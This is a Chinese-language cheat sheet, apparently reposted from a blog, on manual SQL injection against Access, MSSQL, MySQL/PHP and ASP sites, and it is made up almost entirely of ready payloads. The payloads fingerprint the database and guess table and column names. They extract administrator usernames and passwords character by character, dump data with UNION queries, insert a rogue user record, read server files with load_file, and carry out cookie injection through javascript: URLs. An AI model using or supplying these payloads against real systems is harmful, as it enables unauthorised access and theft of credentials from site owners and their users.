---恢復內容開始---
SQL手工注入小結
第一步先把IE菜單=>工具=>Internet選項=>高級=>顯示友好 HTTP 錯誤信息前面的勾去掉。否則,不論服務器返回什么錯誤,IE都只顯示為HTTP 500服務器錯誤,不能獲得更多的提示信息。
數字型:and 1=1 and 1=2 判斷是否存在注入
字符型:' and '1'='1 ' and '1'='2
搜索型: 關鍵字%' and 1=1 and '%'='% 關鍵字%' and 1=2 and '%'='%
IIS報錯情況下使用:
and user>0 (判斷是ACCESS還是MSSQL)
不報錯則使用各自數據庫特性來判斷
and (select count(*) from msysobjects)>0 (返回權限不足access數據庫)
and (select count(*) from sysobjects)>0 (返回正常則為MSSQL數據庫)
and db_name()>0 (返回數據庫名)
and 0<>(select @@version)-- (判斷版本信息)
and db_name()>0 (返回數據庫名)
************注意:猜解之前先要找到后台地址,不然白忙了**********
ACCESS注入:
猜解表名(正常則存在admin,不正常則不存在)
and exists (select * from [admin])
and (Select Count(*) from Admin)>0
猜解字段:(字段username存在則正常,不正常則不存在)
and (Select username from Admin)>0
and exists (select username from [admin])
猜解用戶名和密碼長度
and (select top 1 len(username) from Admin)>0
and (select top 1 len(password) from Admin)>0
原 理:如果top 1的username長度大於0,則條件成立;接着就是>1、>2、>3這樣測試下去,一直到條件不成立為止,比如>4成 立,>5不成立,就是len(username)=5,即用戶名長度為5.得到username的長度后,用mid(username,N,1)截 取第N位字符,再asc(mid(username,N,1))得到ASCII碼.
猜解用戶
and (select top 1 asc(mid(username,1,1)) from Admin)>0,1,2…,
當輸入到109時,顯示錯誤,而108之前顯示正確,說明第一個字符的ASCII碼為109.,得到第一個字符是m。
同理and (select top 1 asc(mid(username,2,1) from Admin)>0,1,2…
到114的時候不成立,說明第二個字符的ASCII碼值為114,字符為r。
注意的是英文和數字的ASCII碼在1-128之間...
MSSQL注入:
having 1=1-- 【爆出一個表名及字段,如:列 'users.ID' 在選擇列表中無效】
group by users.ID having 1=1--
group by users.ID, users.username, users.password, users.privs having 1=1--
; insert into users values( 666, attacker, foobar, 0xffff )-- 【插入新記錄】
猜解表名:
SQL SERVER的每一個數據庫都會有用戶表和系統表,在系統表sysobjects中, 數據庫內創建的每個對象(約束、默認值、日志、規則、存儲過程等)在sysobjects表中占一行,那么也就是說當前數據庫的表名都會在該表內有存在。 我們常用到的參數有三個,name (數據表的名字),xtype( 數據表的類型 u為用戶表),id( 數據表的對象標志)。
and (select top 1 name from sysobjects where xtype='u')>0 (得到第一個表名:比如user)
and (select top 1 name from sysobjects where xtype='u' and name not in ('user'))>0 得到第二個表名,后面的以此類推。。
猜解列名:
用 到系統自帶的2個函數col_name()和object_id(),col_name()的格式是“COL_NAME( table_id , column_id )”,參數table_id是表的標識號,column_id是列的標識號,object_id(admin)就是得到admin在sysobjects 中的標識號,column_id=1,2,3表明admin的第1,2,3列。
and (select top 1 col_name(object_id('admin'),1) from sysobjects)>0 【得到admin字段的第一個列名“username”依次類推,得到“password”“id”等等】
猜解字段內容:
and (select top 1 username from [admin])>0 【直接得到用戶名】
and (select top 1 password from [admin])>0 【直接得到密碼】
UNION聯合查詢:
select name,password,id from user union select user,pwd,uid from 表名
and 1=1 union select 1,2,3,4,5... from 表名 (數值從1開始慢慢加,如果加到5返回正常,那就存在5個字段)
ASCII逐字解碼法:
1、猜解列長度
and (select top 1 len(列名)from 表名)>N
其中N是數字,變換這個N的值猜解列長度,當N為6正確,為7錯誤,則長度為7
猜解第二條記錄就該使用:select top 1 len(列名) from 表名 where 列名 not in (select top 1 列名 from 表名)
2、猜解用戶和密碼
ASC()函數和Mid函數,ASC(mid(列名,N,1))得到“列名”第N位字符ASCII碼
猜解語句為:and (select top 1 asc(mid(字段,1,1)) from 數據庫名)>ASCII碼
區間判斷語句:....between......and......
中文處理法:當ASCII轉換后為“負數”使用abs()函數取絕對值。
例:and (select top 1 abs(asc(mid(字段,1,1))) from 數據庫名)=ASC碼
ASCII逐字解碼法的應用:
1、猜解表名:and (select count(*) from admin)<>0
2、猜解列名:and (select count(列名) from 表名)<>0
3、猜解用戶個數:and (select count(*) from 表名)>1,2.. 2正常,3錯誤,表中有3條記錄。
4、猜解用戶名的長度:and (select len(列名) from 表名)>=1、>=2、>=3、>=4。
5、猜解用戶名:and (select count(*)from 表名 where (asc(mid(列名,1,1))) between 30 and 130)<>0
最后提交:and (select asc(mid(列名,1,1)) from 表名)=ascii的值
6、猜解管理員的密碼:
按照上面的原理,把上面的語句中(asc(mid(列名,1,1)的列名換成PASSWORD就能得到密碼了。
MYSQL+PHP注入:
1.判斷是否存在注入,加';and 1=1 ;and 1=2
2.判斷版本 and ord(mid(version(),1,1))>51 /* 返回正常說明是4.0以上版本,可以用union查詢
3.利用order by 暴字段,在網址后加 order by 10 /* 如果返回正常說明字段大於10
4.再利用union來查詢准確字段,如: and 1=2 union select 1,2,3,......./*直到返回正常,說明猜到准確字段數。如過濾了空格可以用/**/代替。
5.判斷數據庫連接帳號有沒有寫權限,and (select count(*) from mysql.user)>0 /*如果結果返回錯誤,那我們只能猜解管理員帳號和密碼了。
6. 如果返回正常,則可以通過and 1=2 union select 1,2,3,4,5,6,load_file(char(文件路徑的ascii值,用逗號隔開)),8,9,10 /* 注:load_file(char(文件路徑的ascii值,用逗號隔開))也可以用十六進制,通過這種方式讀取配置文件,找到數據庫連接等。
7.首先猜解user表,如: and 1=2 union select 1,2,3,4,5,6.... from user /* 如果返回正常,說明存在這個表。
8.知道了表就猜解字段,and 1=2 union select 1,username,3,4,5,6.... from user/*如果在2字段顯示出字段內容則存在些字段。
9.同理再猜解password字段。
ORACLE+ASP注入:
http://www.freebuf.com/articles/web/5411.html
cookie注入:
條件:ID=Request("ID"),(WEB服務器是先去取GET中的數據,沒有的話再取POST中的數據,還沒有再去取Cookies中的數據);未對cookie進行過濾,那么就造成了cookie注入。
*****用 Request.QueryString或Request.Form收集數據的話,是無法利用Cookies注入的******
判斷是否存在cookie注入
例如:http://www.xxx.com/1.asp?id=44
輸入 http://www.xxx.com/1.asp 顯示不正常,因為沒有輸參數。
javascript:alert(document.cookie="id="+escape("44 and 1=1"));刷新頁面,顯示正常,可以再試下一步(如果不正常,就有可能也有過濾了)
javascript:alert(document.cookie="id="+escape("44 and 1=2"));刷新一下頁面,如果不正常顯示,這就表示有注入了。
猜解長度:
javascript:alert(document.cookie="id="+escape("44 and (select len(password) from admin)=16"))
猜解內容:
javascript:alert(document.cookie="id="+escape("44 and (select asc(mid(username)) from admin)=97"))
PHP注入:
判斷注入點:';and 1=1 ';and 1=2
判斷UNION:and ord(mid(version(),1,1))>51 返回正確則4.0可用UNION查詢
利用order by 暴字段:order by n (n=1,2,3.. ) (當n為3正確,4錯誤是,則3個字段)
利用union來查詢准確字段:and 1=1 union select 1,2,3,....... (當返回正常時,就說明猜到准確字段數=最后一個數)
判斷數據庫連接帳號有沒有寫權限:and (select count(*) from mysql.user)>0(如果返回錯誤,我們就猜管理員的帳號密碼,如果返回正常,則可以通過
and 1=2 union select 1,2,3,4,5,6, load_file(char(文件路徑的ascii值,用逗號隔開)),8,9,10 [注意:load_file(char(文件路徑的ascii值,用逗號隔開))也可以用十六進制,通過這種方式讀取配置文件])
猜解表:and 1=2 union select 1,2,3,4,5,6.... from user (回正常,說明存在這個表)
猜字段:and 1=2 union select 1,username,3,4,5,6.... from user (同樣道理,自己替換,如果在2字段顯示出字段內容則存在些字段)
同理再猜解password字段.
---恢復內容結束---
---恢復內容結束---